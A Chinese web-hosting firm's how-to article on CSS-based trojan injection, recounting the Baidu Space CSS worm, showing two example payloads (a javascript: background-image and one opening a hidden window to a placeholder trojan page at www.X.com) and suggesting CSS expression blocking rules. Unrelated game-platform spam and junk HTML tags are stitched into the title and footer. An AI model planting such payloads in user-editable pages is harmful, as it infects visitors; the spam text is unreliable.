PP玩游戏盒,欧欧游戏盒子

首页|域名注册|虚拟主机|网站制作|网站案例|网站优化|网站推广|企业邮局|服务器租用|广告设计

百度竞价排名 yahoo搜索 Google搜索新浪搜索引擎搜狐搜索引擎网易搜索引擎创新互联专业百度关键词优化,百度排名优化,百度快照优化,网站建设的互联网企业！

域名注册

中文域名
英文域名
通用网址
域名解析
域名转入\转出

虚拟主机

主机购买
管理主机
FTP上传
数据库管理
主机续费升级

网站建设

建站流程介绍
网站设计
网站改版
网站维护
网站推广

企业邮局

邮箱使用
管理邮箱
邮箱续费升级
全球邮局

网站优化

seo优化
seo技巧
收索引擎优化
关键词优化

网站备案

备案流程指南
修改备案
备案资料下载
备案小技巧

服务器租用

服务器租用
服务器托管

其它服务

400电话
在线客服
财务常见问题
会员常见问题

您现在的位置：创新互联 >> 网站建设 >> 网站建设常见问题 >> 防止CSS样式被挂网页木马

PP玩游戏盒,欧欧游戏盒子:防止CSS样式被挂网页木马

作者：曾小姐文章来源：成都网站建设点击数：879 更新时间：2011-11-17
　　随着CSS网页布局应用的越来越广泛，Web标准逐渐普及，也创造了一个可乘之机。在前面的分享中，小编介绍了网站防挂IFRAME木马的解决方案，今天小编继续针对木马事件跟大家说说说CSS样式如何防止被挂木马的技巧。小编和很多站长都研究过，最后发现，用来实现页面的CSS，也可以用来挂马。而比较讽刺的是，CSS挂马方式其实是从防范IFRAME挂马的CSS代码演变而来。
　　网站挂马的手段最初非常单一，但是随着Web2.0技术以及Blog、Wiki等广泛的应用，挂马也涌现出各种各样的技术，其中CSS挂马方式，可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。
　　在小编的印象中，记忆最深刻的一次是百度空间CSS挂马。当时，百度推广空间推出没有多久，就有许多百度用户收到了类似“哈，节日快乐呀！热烈庆祝2008，心情好好，记住要想我!http://hi.baidu.com/XXXXX”的站内消息。
　　由于网址是百度空间的网址，许多用户认为不会存在安全问题，加上又有可能是自己朋友发来的，因此会毫不犹豫地点击进入。但是进入指定的网址后，用户就会感染蠕虫病毒，并继续传播。
　　由于蠕虫扩散非常严重，最终导致百度空间不得不发布官方声明提醒用户，并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能，通过变形的expression在CSS代码中动态执行脚本，让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。
　　所以小编建议大家在点击陌生链接时，要多个心眼，大网站也是可能被挂马的。大家在上网时，最好还是使用一些带网页木马拦截功能的安全辅助工具。
　　那很多人就会有疑问了，为什么选择CSS挂马？
　　在Web1.0时代，使用IFRAME挂马对于黑客而言，与其说是为了更好地实现木马的隐藏，倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中，黑客可以利用的手段也非常有限，即使采取了复杂的伪装，也很容易被识破，还不如IFRAME来得直接和有效。
　　但如今交互式的Web2.0网站越来越多，允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中，往往会提供丰富的功能，并且会允许用户使用CSS层叠样式表来对网站设计的网页进行自由的修改，这促使了CSS挂马流行。
　　小编小百科：CSS是层叠样式表(Cascading Style Sheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。
　　在利用CSS挂马时，往往是借着网民对某些大网站的信任，将CSS恶意代码挂到博客或者其他支持CSS的网页中，当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看�。惴浅Ｐ湃我皆�，但是你所看的门诊却已经被庸医外包了下来，并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时，医院此时也往往一脸无辜。对于安全工程师而言，CSS挂马的排查是必备常识。
　　下面小编会跟大家讲讲CSS挂马攻防实录。
　　攻CSS挂马方式较多，但主流的方式是通过有漏洞的博客或者SNS社交网站系统，将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。
　　方式1：
　　Body{
　　background-image: url(/faq/'JavaScript:document.write("")')
　　}
　　“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式，这段恶意代码主要是通过“background-image”配合javascript代码让网页木马悄悄地在用户的电脑中运行。
　　那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置，然后将该段恶意代码写入挂马网站的网页中，或者挂马网页所调用的CSS文件中。
　　小编小百科：使用Body对象元素，主要是为了让对象不再改变整个网页文档的内容，通过Body对象的控制，可以将内容或者效果控制在指定的大小内，如同使用DIV对象那样精确地设置大小。
　　方式2：
　　Body{
　　background-image: url(javascript:open(' http://www.X.com /muma.htm '，'newwindow'，'height=0， width=0， top=1000， left=0， toolbar=no， menubar=no， scrollbars=no， resizable=no，location=no， status=no'))
　　}
　　方式1的CSS挂马技术，在运行时会出现空白的页面，影响网页访问者正常的访问，因此比较容易发现。不过在方式2中的这段代码，使用了javascript的Open开窗，通过新开一个隐藏的窗口，在后台悄悄地运行新窗口并激活访问网页溢出木马页面，不会影响访问者观看网页内容，因此更加隐蔽。
　　防网络服务器被挂马，通常会出现防病毒软件告警之类的信息。由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志，发现异常信息，经常检查网站代码，使用网页木马检测系统，进行排查。
　　目前除了使用以前的阻断弹出窗口防范CSS挂马之外，还可以在网页中设置CSS过滤，将CSS过滤掉。不过如果你选择过滤CSS的话，首先需要留意自己的相关网页是否有CSS的内容，因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示：
　　iframe{miao1:expression(this.src='about:blank'，this.outerHTML='');}
　　script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
　　将外域的木马代码的src重写成本地IE404错误页面的地址，这样，外域的javascript代码不会被下载。不过阻断方式也有天生致命的弱点。所以，提高自身防挂马意识才是最基本的方法。
上一篇文章：网站建设技术asp与asp.net区别
下一篇文章：CSS中三个属性的设置

分享到： QQ空间新浪微博腾讯微博人人网开心网百度搜藏腾讯微博网易微博

创新互联 | 网站建设 | 网站案例 | 域名注册 | 网站空间 | jsp虚拟主机 | 优化排名 | 服务器租用 | 云主机 | 网站营销推广 | 数据库知识 | 域名转入\转出

优化电话：028-86922220 13518219792 公司地址：成都市太升南路288号锦天国际A幢1002号
企业邮箱：service@cdxwcx.com 版权所有：创新互联-供最优势的网站制作蜀ICP备13010860号
创新互联成都网站制作：防止CSS样式挂马 CSS挂木马 CSS样式被挂网页木马成都网站制作

PP玩游戏盒在线平台入口（2026已更新）官方网站·IOS/安卓通用版/手机APP下载片仔癀药业股份有限公司

<tfoot id='0qHyrarH'></tfoot>

<legend id='aNBw'><style id='t9lqiMB'><dir id='pZNbBsS'><q id='yH9Yh'></q></dir></style></legend>

<i id='6cbELx8'><tr id='DR2xz'><dt id='w7Txadl'><q id='hepDQgl'><span id='KHPWNS'><b id='8cEc2'><form id='eycT'><ins id='OZ5kP'></ins><ul id='qkXcDi'></ul><sub id='GVB6G6'></sub></form><legend id='TcVN3'></legend><bdo id='UD4HWu'><pre id='qBOrjM'><center id='SFOkUcgj'></center></pre></bdo></b><th id='8dz9'></th></span></q></dt></tr></i><div id='Fy74'><tfoot id='gDNG0'></tfoot><dl id='RSvQJ'><fieldset id='DtNvf6'></fieldset></dl></div>

<li id='z36t'><abbr id='yQQh5T2'></abbr></li>